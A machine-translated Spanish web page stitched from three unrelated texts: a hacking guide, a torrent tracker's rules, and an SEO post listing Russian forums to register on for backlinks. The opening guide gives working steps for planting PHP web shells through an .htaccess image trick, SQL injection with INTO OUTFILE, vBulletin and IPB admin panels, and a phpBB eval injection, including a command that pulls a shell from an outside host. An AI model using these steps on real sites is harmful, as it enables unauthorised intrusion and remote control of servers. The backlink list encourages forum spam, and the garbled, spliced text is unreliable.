Hola %username% y sus amigos. Bueno, necesitas subir urgentemente un shell al sitio, bueno, nunca se sabe, tal vez la tarifa final dependa de ello. Bueno, simplemente no funciona. Aquí recopilé un par de ejemplos (gracias a Tracy y otros por esto).

Viertamos la cáscara a través de la imagen.

Ha pirateado un sitio (por supuesto, solo está probando) con un panel de administración personalizado... Y no puede cargar un shell web, pero hay una carga de imágenes y solo carga formatos .jpg, .gif, .png.
¿Qué se puede hacer en este caso?

Metemos el shell con la extensión .gif en alguna carpeta con imágenes y creamos un archivo .htaccess con el contenido

Aplicación AddType/x-httpd-php .gif
Este comando ejecutará el formato .gif como php
Intentando abrir /shell.gif

Además, si el script no es indiferente a los saltos de línea, intentamos inundar el shell y al mismo tiempo cambiarle el nombre a shell.php%00.jpg, verifique la disponibilidad de shell.php, ¿y si?

Método para cargar un shell a través de mysql.user desde whine

1) Averigüemos bajo quién estamos sentados y también sus derechos sobre MySQL.

site.com/index.php?id=1+and+1=0+union+Select+1,usuario(),3+--+
(Averigüemos bajo quién estamos sentados)
2) site.com/index.php?id=1+and+1=0+union+Select+1,file_priv,3+from+mysql.user+where+user=" nuestro usuario "+--+
(Revisemos los privilegios de nuestro usuario. Si da un error durante la salida, puede hechizar a nuestro usuario 0x)
3) site.com/index.php?id=-1+union+select+1,"",3+from+mysql.user+into+outfile+" Ruta al archivo "+--+
(Rellena el mini-shell)
PD
Para que todo funcione, necesita tener derechos de escritura y conocer la ruta completa a la raíz.
También puedes verificar los permisos de escritura como este:

site.com/index.php?id=1+and+1=0+union+Select+1," pravá ",3+de+mysql.usuario+--+
Si se muestra prava, entonces tienes derechos.

La siguiente situación. Estamos en el panel de administración del motor del foro vBulletin

Vamos:
Complementos y productos -> Administrador de complementos -> Complementos y productos -> Administrador de complementos -> [Agregar nuevo complemento]

Seleccione plantillas. Por lo general, seleccionamos faq_complete, seleccionamos y hacemos clic en la casilla de verificación El complemento está activo, la configuramos en "Sí" y guardamos.

localhost/forum/faq.php?cmd=phpinfo();

Si hemos impreso phpinfo() entonces considere el shell en nuestras manos.

A continuación en phpinfo necesitas encontrar la ruta completa al foro. (por ejemplo /home/u0000/site.ru/www/sell.php). A continuación, debemos convertir nuestro shell web en un archivo txt y subirlo a cualquier sitio web.
mysite.com/shell.txt
Llene el shell con el comando

localhost/forum/faq.php?cmd=copy($_GET[a],$_GET[b]);&a=mysite.com/shell.txt&b=/home/u0000/site.ru/www/sell.php
¿Qué hace este equipo? Copia el contenido de la variable [a] a la variable [b], es decir, shell.txt se copia a shell.php

Cargando el shell en IPB 3

Vamos:
Soporte->Administración de SQL->Procesos en ejecución->Ejecutar nueva consulta

Código:
seleccione 0x3c3f706870696e666f28293b3f3e en el archivo de salida "Z:/home/site.ru/www/uploads/shell.php"
Puedes ver la ruta completa así:

Administrador->Soporte
Habrá una versión de PHP escrita en la parte superior y un enlace a PHPINFO a la izquierda.

Shell aquí:
http://site.com/uploads/shell.php

Subiendo el shell a phpBB 2

1. Cree el archivo ex.sql
2. Regístrese allí

ACTUALIZAR phpbb_users SET user_sig_bbcode_uid="(.+)/e\0", user_sig="phpbb:eval(stripslashes($_GET[e]));" DONDE usuario_id=2;
Donde user_id=2 es el ID del administrador

3. Vaya al panel de administración
4. En el panel de administración, seleccione el elemento "Restaurar base de datos" y descargue ex.sql
5. Ejecute el código/llene el shell así

Vamos:
http://target/profile.php?mode=editprofile&e=phpinfo();
Después:
http://target/profile.php?mode=editprofile&e=faq.php?cmd=copy($_GET[a],$_GET[b]);&a=mysite.com/shell.txt&b=/home/u0000/ site.ru/www/sell.php
Para mostrar phpinfo() es necesario iniciar sesión.

Esta es sólo una breve lista de cómo y en qué motores se puede cargar el shell. ¿Necesitar más? Bienvenidos a los chicos de rdot.
subiendo a foros
rellenando cms
Y aquí está mi caparazón favorito, también en rdot))

Reglas y restricciones del rastreador.

1. Disposiciones y restricciones generales
1.1. Estas reglas del rastreador no son negociables y deben ser seguidas incondicionalmente por todos los presentes en el rastreador. Sólo los Administradores de Tracker pueden incumplir algunas disposiciones de las reglas en situaciones excepcionales.
1.2. La administración del rastreador es la única y máxima autoridad donde se pueden resolver cualquier situación de conflicto entre el rastreador y sus usuarios. Por tanto, las decisiones de los Administradores son definitivas y no pueden ser apeladas.
1.3. La administración de Tracker se reserva el derecho de cambiar y complementar todas las cláusulas de estas reglas sin previo aviso o aviso posterior. Las adiciones y cambios a las reglas entran en vigor desde el momento de su publicación. No obstante, como acto de buena voluntad, la Administración intentará, siempre que sea posible, poner dichos cambios en conocimiento de los usuarios.
1.4. El desconocimiento de estas y otras Reglas de seguimiento no sólo no exime a uno de la responsabilidad por violarlas, sino que es en sí mismo una violación y una circunstancia agravante.
1.5. Está prohibido utilizar cualquier programa para falsificar datos sobre su Carga y Descarga. Los tramposos quedan inmediatamente prohibidos.
1.7. Está prohibido utilizar fallas y errores del rastreador para fines personales. En caso de detección de mal funcionamiento y errores, deberá notificarlo a la Administración del Tracker.
2. Registro
El registro es una parte integral de estar en el rastreador. El registro indica automáticamente su acuerdo con estas Reglas. Si no está de acuerdo con estas Reglas, escriba a la administración.
2.1. ESTÁ PROHIBIDO EL REGISTRO DESDE VARIOS SERVIDORES PROXY EXTRANJEROS. Infractores: prohibición instantánea!!!
En casos excepcionales, se permite sólo después de que la administración haya examinado la solicitud.
2.2. ESTÁ PROHIBIDO REGISTRAR MÁS DE DOS CUENTAS DESDE UNA COMPUTADORA. En caso de infracción, todas las cuentas existentes quedan prohibidas.
El registro de una nueva cuenta después de las dos existentes sólo es posible con el consentimiento de la administración.
3. Reglas para comentar las manos.
3.1. Está prohibido el uso de malas palabras en los comentarios sobre las distribuciones, palabras y expresiones obscenas y obscenidades veladas, incluso en idiomas extranjeros.
Castigo: Eliminación de comentarios que violen las reglas y prohibición de escribir comentarios por un período de 1 semana. La violación posterior de esta regla resultará en una prohibición por un período de 7 días y una prohibición de escribir comentarios por un período de 14 días. En el futuro, habrá una prohibición permanente de escribir comentarios.
3.2. Está prohibido insultar a los participantes del rastreador de cualquier forma. Está prohibido mostrar groserías, insultos personales y declaraciones obscenas hacia otros participantes, dañando su reputación, humillando su honor y dignidad, incluido el enfrentamiento público de relaciones personales, tanto en mensajes personales en el rastreador como en comentarios a las distribuciones. Los participantes deben mantener una comunicación respetuosa.
Castigo: Eliminación de comentarios que infrinjan las reglas y prohibición del infractor por un período de 7 días. La violación posterior de esta regla resultará en una prohibición de 7 días y una prohibición de escribir comentarios durante 30 días. En el futuro, habrá una prohibición permanente de escribir comentarios.
3.3. Están prohibidas las amenazas de cualquier naturaleza (virtuales, reales y de otro tipo contra los participantes del rastreador).
Castigo: Eliminar mensajes y prohibir al infractor durante 14 días. Si se vuelve a violar esta regla, se le prohibirá durante un mes.
3.4. Flaming (mensajes fuera de tema, destinados a iniciar una disputa, así como personalización de quienes discuten), inundación (mensajes que no corresponden al tema, no tienen carga semántica o consisten solo en emoticonos), offtopic (mensajes que no estén relacionados con el tema en discusión), así como incentivos para inundar, flamear, offtopic y mensajes como: “Ayuda”, “Problema”, “¿De qué estás hablando, eh?”. o "No entiendo, ¿desde dónde descargar?" y similares, no relacionados con esta distribución. Un comentario no puede contener más de 3 emoticones.
Castigo: Eliminación de comentarios que violen las reglas y amonestación al autor del comentario por un período de 3 días. Si se vuelve a violar esta regla, se prohibirá al autor del comentario escribir comentarios por un período de 7 días. En el futuro, por cada infracción, se emite una prohibición de dejar comentarios por un período de 14 días y una prohibición de descargar por un período de 14 días.
3.5. Está prohibido publicar mensajes comerciales, publicidad directa o indirecta, correos no deseados y enlaces a sitios no directamente relacionados con la distribución de los comentarios.
Castigo: Eliminación de publicidad, prohibición de escribir comentarios por un período de 7 días y prohibición de descargar por un período de 7 días. En caso de reincidencia, prohibición de escribir comentarios por un período de 15 días y prohibición de descargar por un período de 15 días. En el futuro habrá una prohibición permanente de escribir comentarios.
3.6. Está prohibido en los comentarios mostrar hostilidad racial, nacional y religiosa, agitar a los partidos políticos, promover el terrorismo, el extremismo, las drogas, la religión y otros temas incompatibles con las leyes de moralidad y decencia generalmente aceptadas.
Castigo: Eliminación de comentarios que violen las reglas, prohibición de escribir comentarios por un período de 14 días y prohibición de descargar por un período de 14 días. En caso de reincidencia, prohibición de escribir comentarios por un período de 30 días y prohibición de descargar por un período de 30 días. En el futuro habrá una prohibición permanente de escribir comentarios.
3.7. Está prohibido dejar comentarios que violen abierta o encubiertamente el Código Penal de la Federación de Rusia, así como mensajes que insten a la comisión de acciones ilegales.
Castigo: Eliminación de mensajes, prohibición de escribir comentarios por un período de 14 días y prohibición de descargarlos por un período de 14 días. En caso de reincidencia, el infractor será suspendido por un período de 30 días. Para la tercera infracción: una prohibición permanente.
3.8. Está prohibido en los comentarios a las distribuciones revelar cualquier dato personal de los usuarios, datos confidenciales, nombres completos reales, publicación de fotografías, difusión de información sobre la vida privada de un participante de la discusión que constituya su secreto personal o familiar, sin su consentimiento.
Castigo: Eliminación de comentarios que infrinjan las reglas y advertencia verbal al rastreador. En caso de reincidencia, prohibición de escribir comentarios por un período de 7 días. En el futuro, se prohibirá escribir comentarios durante un período de 30 días.
3.9. Está prohibido publicar en comentarios imágenes que contengan pornografía, escenas de violencia o cualquier otra imagen que humille o insulte a otros usuarios.
Castigo: Eliminación de comentarios que violen las reglas y prohibición de descargar y dejar comentarios por un período de 7 días. En caso de reincidencia, el usuario será baneado por un período de 7 días. En el futuro, prohibición por un período de 15 días y prohibición permanente de escribir comentarios.
3.10. Está prohibido utilizar en los comentarios un idioma que no sea el ruso y una fuente que no sea el cirílico.
Castigo: Eliminación de mensajes y advertencia verbal al usuario en caso de violación reiterada de las reglas de este párrafo, prohibición de escribir comentarios por un período de 3 días.
3.11. Está prohibido utilizar los siguientes métodos de resaltado en los mensajes: rojo, más del 75% de letras mayúsculas y tamaño de fuente grande; este es privilegio de los moderadores y administradores.
Castigo: Eliminación de mensajes y advertencia verbal al usuario en caso de violación reiterada de las reglas de este párrafo, prohibición de escribir comentarios por un período de 7 días.
3.12. Está prohibido sobrecitar (citar mensajes de otros participantes en cantidades que excedan lo razonable (más de 10 líneas del mensaje original)).
Castigo: editar el mensaje y advertir verbalmente al usuario en caso de violación repetida de las reglas de este párrafo, prohibición de escribir comentarios por un período de 3 días.
3.13. Los spoilers están prohibidos y absténgase de utilizarlos (revelar puntos clave de la trama, cuyo conocimiento podría arruinar la experiencia visual para otros, el resultado del partido, etc.).
Si no puede prescindir de los spoilers, debe incluir el spoiler en la etiqueta [expandir] y colocar la marca "Spoiler" delante.
Nota: En distribuciones “deportivas” está prohibido estropear hasta 11 comentarios (1 página).
Castigo: Editar el mensaje y advertir verbalmente al usuario. Si viola repetidamente las reglas de este párrafo, se le prohibirá escribir comentarios por un período de 3 días.
3.14. Está prohibido publicar mensajes que contengan información deliberadamente falsa.
Castigo: Eliminación de comentarios que infrinjan las normas y advertencia verbal al usuario. Si viola repetidamente las reglas de este párrafo, se le prohibirá dejar comentarios por un período de 7 días.
El sistema de comentarios de torrent está diseñado para:
- Expresar su respeto y gratitud al donante,
- Haga una pregunta específica que le interese sobre la distribución,
- Proporcionar información interesante relacionada con el sorteo.
4. Restricciones de avatares y firmas:
4.1. Firma:
- Alto máximo: 100 pts (es decir, no más de cuatro barras de usuario o diez líneas de texto (tamaño de fuente 10); ancho: 750 pts.
- El peso total de las imágenes contenidas en la firma no deberá exceder los 200 Kb.
- Contenido: violencia, amenazas (por motivos demográficos, nacionales, religiosos o políticos), lenguaje soez (blasfemias, insultos, groserías, etc.), libertinaje (pornografía), discriminación en cualquier forma, textos e imágenes de publicidad o Son inaceptables los caracteres comerciales, la imitación de títulos/clasificaciones de este recurso, así como imágenes provocativas, incl. utilizando símbolos nazis.
- Animación: se prohíben los subtítulos que parpadeen mucho (el grado de parpadeo lo determina la administración).
- La firma debajo de sus mensajes no se puede utilizar para crear enlaces a ningún recurso de la red. (Las excepciones son enlaces a sitios con barras de usuario, servicios como youtube, google, etc.)
4.2. Avatar:
- Tamaño máximo: 100x100 píxeles; peso: hasta 21 KB.
- Contenido: violencia, amenazas (demográficas, nacionales, religiosas o políticas), lenguaje soez (blasfemias, insultos, groserías, etc.), libertinaje (pornografía), discriminación en cualquier forma, propaganda de drogas, publicidad comercial y textos publicitarios, imitación de títulos/clasificaciones de este recurso, similitud deliberada con avatares de miembros de la administración, así como imágenes provocativas, incl. utilizando símbolos nazis.
- Animación: están prohibidos los avatares que parpadeen mucho (el grado de parpadeo lo determina la administración).
Castigo: Eliminación de firma y avatar, o prohibición de su uso (determinado por el administrador).
5. Lanzamientos
5.1. Está prohibido volver a cargar comunicados a otros rastreadores sin el permiso personal del emisor. Apoyar la distribución de una publicación cuya recarga está prohibida en otro rastreador equivale a una recarga independiente y está sancionado de conformidad con la cláusula 7.
6. Otros
6.1. Está prohibido cargar contenidos de distribuciones utilizando servicios de alojamiento de archivos como vip-file, letitbit y otros...
6.2. Está prohibido utilizar cualquier administrador de descargas para descargar torrents.
7. Castigo:
Para las infracciones especificadas en los párrafos 5 y 6: prohibición de 7 días. La violación repetida de estas reglas resultará en una prohibición de por vida.

Entonces, creo que no sorprenderé a nadie diciendo que cuantos más enlaces externos haya a su sitio, mayor será su TCI y cuanto mayor sea el TCI del sitio de referencia, mayor será el “peso” de este enlace. Hay muchas formas de aumentar la masa de enlaces a su sitio, pero hoy hablaré solo de una de ellas: obtener enlaces externos de sitios de confianza.
En este artículo, no daré todos los enlaces a sitios de confianza, lo cual lo sé, pero solo les contaré sobre uno de ellos: los foros.
Al registrarse en foros donde puede especificar un sitio web (por regla general, se crean en el mismo motor), recibirá un enlace externo.
Para que quede claro de qué estamos hablando, mire la siguiente captura de pantalla:

Es decir, simplemente debe registrarse en dicho foro, indicando el sitio. Eso es todo. (Bueno, como mucho aún te queda confirmar tu registro, así que indica tu e-mail real). Normalmente, una página con un enlace a su sitio tendrá un aspecto similar a este:

Ahora hablemos de las desventajas de este método, en mi opinión hay dos:
1) Creo que tarde o temprano te eliminarán del foro por inactividad (pero en principio no será difícil volver a registrarte).
2) En consecuencia, es imposible establecer un ancla de enlace. (Esto probablemente ni siquiera sea un inconveniente, sino un hecho, pero aún así).
Bien ahora lista de foros gordos. Por conveniencia, en orden descendente de TCI:
Enlace (TCI)
http://forum.igromania.ru/register.php (1700) [Regístrese, luego indique el sitio en su perfil, guarde]
http://orphus.ru/community/register.html (1500)
http://www.novosti-kosmonavtiki.ru/phpBB2/profile.php?mode=register (1100)
http://www.rmj.ru/phpbb/profile.php?mode=register (1000)
http://www.masterkit.ru/forum/profile.php?mode=register (700)
http://www.ib.ru/forum/profile.php?mode=register (400)
http://forum.mozilla-russia.org/register.php (300) [Indique el sitio web en su perfil]
http://mama-tv.ru/forum/profile.php?mode=register (230)
http://www.neodrive.ru/forum/profile.php?mode=register (170)
http://www.systemaspetsnaz.ru/pforum/profile.php?mode=register (150)
http://tele-club.ru/forum/profile.php?mode=register (130)
http://forum.anastasia.ru/profile.php?mode=register (130)
http://www.shalyapin.ru/forum/profile.php?mode=register (130)
http://www.sarinfo.org/forum/profile.php?mode=register (120)
http://nelubit.ru/profile.php?mode=register (100)
http://www.antisex.info/phpbb2/profile.php?mode=register (60)
http://forum.balletfriends.ru/profile.php?mode=register (50)
http://forum.rusbani.ru/profile.php?mode=register (50)
http://zoneland.ru/forum/profile.php?mode=register (40)
http://forum.av.by/profile.php?mode=register (30)
http://forummotor.israelinfo.ru/profile.php?mode=register (30)
http://wolfson.ru/forum/profile.php?mode=register (30)
http://forum.oslik.ru/profile.php?mode=register (30)
http://data-torrents.com/profile.php?mode=register (20)
http://forum.latfutbols.net/profile.php?mode=register (20)
http://www.forum.hyip-reflection.info/profile.php?mode=register (20)
http://wap.tanchiki.ru/for/profile.php?mode=register (10)

http://www.autoplustv.ru/forum/profile.php?mode=register (500)
http://www.spomir.ru/forum/profile.php?mode=register (350)
http://www.fireman.ru/talk/profile.php?mode=register (300)
http://www.fpss.ru/forum-new/profile.php?mode=register (240)
http://www.skaters.ru/forum/profile.php?mode=register (220)
http://www.a-ivanov.ru/forum/profile.php?mode=register (190)
http://abto-acc.ru/forum/profile.php?mode=register (150)
http://www.artdj.ru/forum/profile.php?mode=register (120)
http://doom-metal.ru/room/profile.php?mode=register (100)
http://www.frisbee.by/f/profile.php?mode=register&agreed=true (80)
http://www.texinfo.ru/forum/ucp.php?mode=register (80) [En el perfil]
http://globax.biz/forum/profile.php?mode=register (70)
http://www.gracebyte.com/forum/profile.php?mode=register (70)
http://forumjnews.israelinfo.ru/profile.php?mode=register (60)
http://yartech.ru/forum/ucp.php?mode=register (40) [En el perfil]
http://amrita-dance.ru/forum/profile.php?mode=register (30)
http://forum.isnet.ru/profile.php?mode=register (30)
http://forum.interair.ru/profile.php?mode=register (0
___________________________________________________________________

La última actualización de la base de datos fue el 16/06/11.(La lista se ha eliminado de enlaces rotos + se han agregado algunos sitios más que están debajo de la línea)

Además, gracias a un sitio de confianza, no sólo puedes aumentar las TIC, ¡sino también aumentar el tráfico del sitio! Pero para ello se necesitan muchos buenos sitios de confianza y, por regla general, ya se venden por dinero. Bueno, decide tú mismo si comprarlos o no...

En conclusión, puedo decir que no se registre a la vez, en todos los foros a la vez, de lo contrario su sitio puede caer bajo algún tipo de filtro. En mi opinión, 5-8 por día es suficiente. Todo. Buena suerte. 😉

¡Atención!
Escribo esta nota en 2015 y quiero decir que ahora, en mi opinión, al dejar enlaces a su blog (sitio) en estos u otros sitios confiables más nuevos, solo estará perdiendo el tiempo. Por lo tanto, para evitar preguntas repetidas en los comentarios, escribiré aquí; no habrá actualizaciones en esta lista.
Prefiero recomendar revisar mi lista. Por supuesto, publicar mensajes en este tipo de blogs tampoco es tan eficaz como antes, pero, nuevamente, en mi opinión subjetiva, es muchas veces más eficaz.